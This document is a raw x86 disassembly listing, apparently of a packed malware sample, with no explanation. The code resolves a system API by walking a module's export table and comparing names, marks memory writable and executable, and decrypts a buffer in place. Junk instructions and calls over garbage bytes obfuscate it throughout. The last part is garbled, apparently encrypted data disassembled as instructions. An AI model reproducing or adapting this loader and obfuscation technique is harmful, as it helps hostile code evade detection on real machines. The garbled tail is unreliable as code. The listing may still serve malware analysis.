movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x4077c6
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4078e2
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4078ec
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x407941
push edi
and edi, 0x137bb
call 0x407918
add byte [ebp + 0x48], cl
inc edx
cmp al, byte [ebp + 0x4f]
dec edx
dec edx
dec edx
add esp, 4
pop edi
push edx
jmp 0x407926
xor edx, 0xbaf0
xor edx, 0xe858
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x4079a9
push esi
jmp 0x407948
call 0x407955
add byte [edx + 0x49], al
xor eax, 0x3d354932
add esp, 4
pop esi
push ecx
xor ecx, 0xdfd1
add ecx, 0xe65a
or ecx, 0xa568
xor ecx, 0xc74f
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x40799f
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x40776a
mov dword [ebp - 0x2a8], 0
push ebx
push edx
add esp, 4
jmp 0x4079b6
and ebx, 0xb2b7
pop ebx
push eax
push ebx
add esp, 4
xor eax, 0x86e0
xor eax, 0xf34f
or eax, 0x128a
xor eax, 0xe6d0
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
add ebx, 0xc4d6
jmp 0x4079f8
pop ebx
push esi
and esi, 0xed3d
pop esi
push edi
push edi
add esp, 4
add edi, 0x47f9
and edi, 0x56d2
jmp 0x407a1b
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407a4c
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d3d
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x407a74
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407d3d
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x407aa6
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407d3d
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407acb
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407d3d
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x407b25
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407d31
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x407b95
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407c47
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407c47
push edx
push eax
add esp, 4
xor edx, 0x12ad
call 0x407bd9
add byte [edx + eax*2], dh
inc edx
aaa
cmp eax, 0x8104c483
loop 0x407c4f
sub eax, dword [eax]
add byte [edx + 0x56], bl
and esi, 0x8c82
jmp 0x407bf3
pop esi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x407c39
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x407c40
jmp 0x407b86
jmp 0x407c47
push edx
add edx, 0x17218
sub edx, 0x8bc2
and edx, 0x10e0
pop edx
push ebx
push edx
add esp, 4
or ebx, 0x12279
add ebx, 0x341
pop ebx
push esi
push ecx
add esp, 4
and esi, 0x12f6c
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407ca6
ljmp 0xe281:0x8bc2
mov dword [ebp - 0xc6c], 0
jmp 0x407d15
push eax
push edi
add esp, 4
or eax, 0xd748
call 0x407cc0
add byte [edx + 0x46], cl
dec esi
cmp cl, byte ss:[edi + 0x40]
inc edx
add esp, 4
and eax, 0xdfd3
sub eax, 0x1585e
pop eax
push ebx
xor ebx, 0x2125
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407d0b
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407d15
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407d2c
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407d3d
jmp 0x407b16
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push eax
add eax, 0xd8ca
or eax, 0x7f51
or eax, 0xfc6c
add eax, 0x17253
pop eax
push esi
push edi
add esp, 4
add esi, 0x146f2
or esi, 0x95ce
sub esi, 0x7947
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407dee
push edi
push edi
add esp, 4
call 0x407dbc
add byte [edx + 0x33], al
dec edi
inc edx
dec ebp
inc esi
inc edx
inc edx
add esp, 4
pop edi
push edi
xor edi, 0x10208
xor edi, 0x786c
xor edi, 0x1499d
add edi, 0x3acd
pop edi
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x407e0b
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x407e67
push edi
call 0x407e2a
add byte [ebp + 0x46], al
cmp eax, 0x483c403e
dec esp
aas
inc ebx
add esp, 4
pop edi
push edi
push edi
add esp, 4
jmp 0x407e38
xor edi, 0x3cc4
sub edi, 0x1304a
xor edi, 0xed30
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x407dfc
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x407edf
push ebx
push edi
add esp, 4
and ebx, 0xa915
call 0x407eb0
add byte [ebp + 0x34], cl
dec ebp
push eax
dec esp
dec eax
add esp, 4
pop ebx
push esi
push ebx
add esp, 4
call 0x407ec7
add byte [eax + 0x4b], al
dec edi
inc edi
dec esp
inc edi
inc esi
xor eax, 0x5e04c483
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
invalid
push ecx
push edx
add esp, 4
xor ecx, 0x7d82
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0xb282
call 0x407f02
add byte [eax + 0x3f], al
dec esi
cmp eax, 0xc4834e45
add al, 0x81
jecxz 0x407ecf
ret
in eax, dx
add byte [eax], al
jmp 0x407f10
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pop ebx
mov dl, bl
dec ebp
and cl, byte [ecx]
or dword [edx + 0x9cd0bd3], ecx
or dword [ebx + 0x5c], esp
mov dl, ah
mov dword [0x8a090a8a], eax
cld
loop 0x407ef1
or dword [ecx], ecx
int1
adc dword [ecx], ecx
or dword [ecx], ecx
or dword [ebx + 0x4f], eax
pop eax
push edx
push edx
inc ecx
dec esi
mov ebp, cs
or eax, 0x5d77f48a
or cl, byte [ecx]
ret
push ebx
inc ebx
inc ebx
aas
push esp
push esi
pop ecx
dec ecx
inc esp
mov ebp, cs
or eax, 0x6cdff8a
or dword [ecx], ecx
sal dword [bx + 9], 9
or dword [edi - 0x6e], ebp
mov cs, word [ebp - 8]
or byte [eax], cl
ret 0x97d
dec ebx
push esp
mov ebp, cs
or eax, 0xaee98a
or dword [ecx], ecx
popal
pop ecx
pop esp
mov ebp, cs
or eax, 0x3cecc98a
or cl, byte [ecx]
mov dl, cl
lodsd eax, dword [esi]
fisttp dword [ecx]
or dword [edx + 0x97e6bf9], ecx
or dword [ecx - 0x6c], esp
pop esi
in eax, dx
mov ebx, cs
or eax, 0x18ed5e92
ror byte [esi + 1], 0x8c
int1
or ebp, dword [edi - 0x6e]
dec esi
add eax, edx
mov cs, ebp
push es
or byte [eax], cl
or ecx, dword [ecx]
or dword [ecx], ecx
ror dword [ecx], cl
or dword [ecx], ecx
ret 0x90b